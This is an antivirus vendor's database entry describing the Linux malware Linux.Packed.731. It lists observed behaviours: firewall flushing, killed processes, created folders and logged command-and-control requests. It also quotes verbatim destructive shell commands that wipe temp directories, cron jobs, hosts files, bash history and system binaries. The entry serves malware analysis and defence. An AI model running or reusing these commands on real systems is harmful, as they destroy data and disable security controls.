Linux.Packed.731
Added to the Dr.Web virus database:
2020-02-25
Virus description added:
2020-02-25
Technical Information
Malicious functions:
Launches itself as a daemon
Substitutes application name for:
Modifies firewall settings:
- iptables -I INPUT -s 178.170.189.0/24 -j DROP
- iptables -F
- iptables -I INPUT -s 91.215.168.0/22 -j DROP
- iptables -I INPUT -s 45.141.84.0/22 -j DROP
- iptables -A FORWARD -p udp --dport 53 -m string --algo kmp --string pastebin.com -j DROP
Manages services:
- systemctl stop systemd-timesyncd
Launches processes:
- sh -c rm -rf /tmp/.* ; rm -rf /tmp/* ; crontab -r ; for i in `atq | awk '{print $1}'`; do atrm $i; done ; chattr -R -i /tmp/* ; rm -rf /tmp/.* ; rm -rf /dev/shm/* ; rm -rf /dev/shm/* ; rm -rf /var/tmp/* ; rm -rf /var/tmp/.* ; rm -rf /etc/sysupdate ; rm -rf /etc/sysguard ; rm -rf /etc/update.sh ; rm -rf /etc/networkservice ; rm -rf /etc/sysr.sh ; rm -rf /etc/syscb ; rm -rf /etc/sysnpmc ; rm -rf /etc/httpdz ; rm -rf /etc/hos* ; rm -rf /etc/migrations ; rm -rf /etc/initdz ; >/dev/null 2>/dev/null
- rm -rf /tmp/. /tmp/.. /tmp/.ICE-unix /tmp/.Test-unix /tmp/.X11-unix /tmp/.XIM-unix /tmp/.font-unix
- sh -c rm -rf /etc/hos* ; crontab -r ; rm -rf /bin/.ht* ; rm -rf /usr/bin/.sshd* ; rm -rf /bin/.sysl* ; rm -rf /etc/sta* ; rm -rf /usr/sbin/crond ; chmod 000 /usr/bin/py* ; rm -rf /home/*/.ss*/.kn* ; rm -rf /root/.ss*/.kn* ; rm -rf /var/spool/cr*/* ; rm -rf /etc/cron.*/* ; rm -rf /var/spool/anacro*/*/* ; rm -rf /root/.ba* ; rm -rf /lib64/liblzma* ; rm -rf /lib64/libaio* ; rm -rf /usr/sbin/rpcio* ; rm -rf /usr/sbin/config.* ; >/dev/null 2>/dev/null
- sh -c systemctl stop systemd-timesyncd ; systemctl disable systemd-timesyncd ; >/dev/null 2>/dev/null
- sh -c iptables -F ; iptables-save ; >/dev/null 2>&1
- sh -c
- rm -rf /etc/host.conf /etc/hostname /etc/hosts /etc/hosts.allow /etc/hosts.deny
- crontab -r
- rm -rf /bin/.ht*
- rm -rf /usr/bin/.sshd*
- sh -c echo \"nameserver 8.8.8.8\" >> /etc/resolv.conf ; >/dev/null 2>&1
- rm -rf /bin/.sysl*
- rm -rf /etc/staff-group-for-usr-local
- rm -rf /usr/sbin/crond
- iptables-save
- chmod 000 /usr/bin/py3clean /usr/bin/py3compile /usr/bin/py3versions /usr/bin/pybuild /usr/bin/pyclean /usr/bin/pycompile /usr/bin/pydoc /usr/bin/pydoc2.7 /usr/bin/pydoc3 /usr/bin/pydoc3.4 /usr/bin/pygettext /usr/bin/pygettext2.7 /usr/bin/pygettext3 /usr/bin/pygettext3.4 /usr/bin/pygmentize /usr/bin/python /usr/bin/python-config /usr/bin/python2 /usr/bin/python2-config /usr/bin/python2.7 /usr/bin/python2.7-config /usr/bin/python3 /usr/bin/python3.4 /usr/bin/python3.4m /usr/bin/python3m /usr/bin/pythontex /usr/bin/pythontex3 /usr/bin/pyversions
- sh -c /root/glfbfn
- sh -c /root/mwoton
- /root/mwoton
- sh -c crontab -r ; rm -rf $HOME/.* ; rm -rf /var/run/* ; rm -rf /home/je*/.ba* ; rm -rf ../temp/* ; rm -rf ../logs/* ; rm -rf temp/* ; rm -rf logs/* ; rm -rf /dev/shm/* ; rm -rf /tmp/.* ; rm -rf /tmp/* ; chattr -R -i /tmp/* ; chattr -R -i /etc/cro*/* ; rm -rf /etc/cro*/* ; rm -rf /tmp/.* ; rm -rf /dev/shm/* ; rm -rf /dev/shm/* ; rm -rf /usr/local/sbin/* ; rm -rf /var/tmp/* ; rm -rf /etc/sys* ; rm -rf /var/tmp/.* ; chattr -R -i /var/spool/*/* ; rm -rf /etc/rc.d/init.d/kw* ; rm -rf /var/spool/*/*/* ; >/dev/null 2>/dev/null
- rm -rf /root/. /root/.. /root/.bash_history /root/.bashrc /root/.profile
Kills system processes:
Kills the following processes:
- run.sh
- bash
- (sd-pam)
- acpid
- cron
- systemd
- <SAMPLE>
- /bin/sh
- /bin/chmod
- systemd-logind
- systemd-journal
- kworker/u2:1
- systemd-cgroups
Performs operations with the file system:
Modifies file access rights:
- /usr/bin/wget
- /dev/urandom
- /usr/bin/perl
- /usr/bin/python3.4
- /usr/bin/python2.7
- /usr/bin/mawk
- /usr/bin/xargs
- /bin/sed
- /usr/bin/crontab
- /usr/bin/py3clean
- /usr/bin/py3compile
- /usr/share/python3/py3versions.py
- /usr/share/dh-python/pybuild
- /usr/bin/pyclean
- /usr/bin/pycompile
- /usr/bin/pydoc2.7
- /usr/bin/pydoc3.4
- /usr/bin/pygettext2.7
- /usr/bin/pygettext3.4
- /usr/bin/pygmentize
- /usr/bin/x86_64-linux-gnu-python2.7-config
- /usr/bin/python3.4m
- /root/glfbfn
- /usr/local/sbin
- /usr/local/bin
- /root/mwoton
Creates folders:
- /var/tmp/kinsing
- /tmp/hehe
- /tmp/.db
- /tmp/.soloc
- /var/tmp/.soloc
- /tmp/.ICEd-unix
- /tmp/kdevtmpfsi
- /var/tmp/kdevtmpfsi
Deletes folders:
- /usr/local/sbin/
- /usr/local/bin/
- /var/spool/cron/
Creates or modifies files:
- /etc/resolv.conf
- /root/glfbfn
- /root/mwoton
- /root/nwkl
Deletes files:
- /etc/host.conf
- /etc/hostname
- /etc/hosts
- /etc/hosts.allow
- /etc/hosts.deny
- /bin/.ht*
- /usr/bin/.sshd*
- /bin/.sysl*
- /etc/staff-group-for-usr-local
- /usr/sbin/crond
- /usr/bin/perl
- /root/.bash_history
Network activity:
Establishes connection:
HTTP GET requests:
- 16#.###.104.230/c/cf
- 19#.###.53.225/c/dkkkr
Curing recommendations
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